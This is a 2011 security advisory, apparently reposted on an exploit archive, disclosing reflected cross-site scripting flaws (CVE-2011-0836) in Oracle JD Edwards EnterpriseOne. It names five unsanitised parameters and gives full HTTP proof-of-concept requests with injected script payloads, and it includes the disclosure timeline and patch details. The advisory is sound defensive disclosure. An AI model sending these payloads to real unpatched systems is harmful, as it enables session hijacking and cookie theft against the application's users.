what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle JD Edwards EnterpriseOne Cross Site Scripting

Oracle JD Edwards EnterpriseOne Cross Site Scripting
Posted Apr 21, 2011
Authored by Juan Manuel Garcia | Site cybsec.com

CYBSEC Security Advisory - Oracle JD Edwards EnterpriseOne suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2011-0836
SHA-256 | 05f55347e4939f432d7d01092337a7d25c54a9e7944c00d9c62b75f158fa4c08

Oracle JD Edwards EnterpriseOne Cross Site Scripting

Change Mirror Download
Advisory Name: Multiple Cross-Site Scripting (XSS) in Oracle JD Edwards EnterpriseOne



Public Advisory Id: CVE-2011-0836



Internal Cybsec Advisory Id: 2011-0402-Multiple XSSs in Oracle JD Edwards EnterpriseOne



Vulnerability Class: Reflected Cross-Site Scripting (XSS)



Release Date: 04/20/2011



Affected Applications: Oracle JD Edwards EnterpriseOne v8.12; other versions may also be affected.



Affected Platforms: Any running Oracle JD Edwards EnterpriseOne



Local / Remote: Remote



Severity: Medium - CVSS: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N)



Researcher: Juan Manuel Garcia



Vendor Status: Patched



Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf



Vulnerability Description:

Multiple Reflected Cross Site Scripting vulnerabilities were found in Oracle JD Edwards EnterpriseOne, because the application fails to sanitize user-supplied input. The vulnerabilities can be triggered by any logged-in user.



At least the following parameters are not properly sanitized:



/jde/E1Menu.maf: jdeowpBackButtonProtect



/jde/E1Menu_Menu.mafService: e1.namespace



/jde/E1Menu_OCL.mafService: e1.namespace



/jde/MafletClose.mafService: RENDER_MAFLET



/jde/JASMafletMafBrowserClose.mafService: jdemafjasLinkTarget



Some Proof of Concepts:



http://XXX.XXX.XXX.XXX/jde/E1Menu.maf

Parameter: jdeowpBackButtonProtect



* The GET request has been set to: >'"><script>alert(20639)</script>

/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED&%3E%27%22%3E%3Cscript%3Ealert%2820639%29%3C%2Fscript%3E=123 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00002ZzkuqI4ibppzAAcyOOuBnh:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX





http://XXX.XXX.XXX.XXX/jde/E1Menu_Menu.mafService

Parameter: e1.namespace



* The POST request has been set to: %2Balert%2835890%29%2B

/jde/E1Menu_Menu.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_Menu&e1.namespace=%2Balert%2835890%29%2B HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000b7KChC3OjQct7TOz9U6NMhK:14p7umbnp; e1MenuState=100003759|

Content-Length: 12

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Content-Type: application/x-www-form-urlencoded

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED



nodeId=&a=lc





http://XXX.XXX.XXX.XXX/jde/E1Menu_OCL.mafService

Parameter: e1.namespace



* The GET request has been set to: %2Balert%2848981%29%2B



/jde/E1Menu_OCL.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_OCL&e1.namespace=%2Balert%2848981%29%2B&timestamp=1290796450377 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000xXDQLJurffGMVi6Du_UnL0Z:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED





http://XXX.XXX.XXX.XXX/jde/MafletClose.mafService

Parameter: RENDER_MAFLET



* The GET request has been set to: E1Menu"%2Balert%2844218%29%2B"



/jde/MafletClose.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu"%2Balert%2844218%29%2B"&e1.service=MafletClose&e1.namespace= HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000FGUGWkc2Y9q-dO3GqshuPVQ:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED



* http://XXX.XXX.XXX.XXX/jde/JASMafletMafBrowserClose.mafService

Parameter: jdemafjasLinkTarget



* The GET request has been set to: E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"



/jde/JASMafletMafBrowserClose.mafService?jdemafjasFrom=BrowserClose&e1.mode=view&jdeLoginAction=LOGOUT&e1.state=maximized&jdemafjasLinkTarget=E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"&RENDER_MAFLET=E1Menu&jdemafjasLauncher=PSFT_TE_V3_SW&e1.service=JASMafletMafBrowserClose&e1.namespace= HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00003wyVho0_-Ma0fQp67cuqdCs:14p7ulc8o; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED



Impact:

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an

attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application.



Solution:

Install Oracle Critical Patch Update (CPU) - April 2011



Vendor Response:



2010/11/30 - Vulnerability was identified.

2010/12/03 - Vendor contacted.

2010/12/06 - Vendor commited to look into these issues.

2010/12/07 - Vendor request more info about the issue.

2010/12/07 - Cybsec sends more info about the issue.

2010/12/08 - Vendor says "We will look into this and get back to you soon".

2010/12/22 - Vendor confirmed vulnerability and informed that is going to send monthly updates about this issue till it is resolved.

2011/02/02 - Vendor request the info again and assigned the Tracking # S0024805 for this issue.

2011/02/04- Vendor request more time to resolve the vulnerability.

2011/02/04- Cybsec informs that the advisory will be published just after the publication of the Oracle's April CPU.

2011/04/18 - Vendor informs that the vulnerability is fixed in the upcoming Critical

Patch Update (CPU) due to be released on April 19, 2011.

2011/04/19 - Vendor publishes Critical Patch Update (CPU).

2011/04/20 - Vulnerability was released.



Contact Information:



For more information regarding the vulnerability feel free to contact the researcher at

jmgarcia <at> cybsec <dot> com



About CYBSEC S.A. Security Systems



Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.



To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.



Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.



Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.



For more information, please visit www.cybsec.com

(c) 2011 - CYBSEC S.A. Security Systems
Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close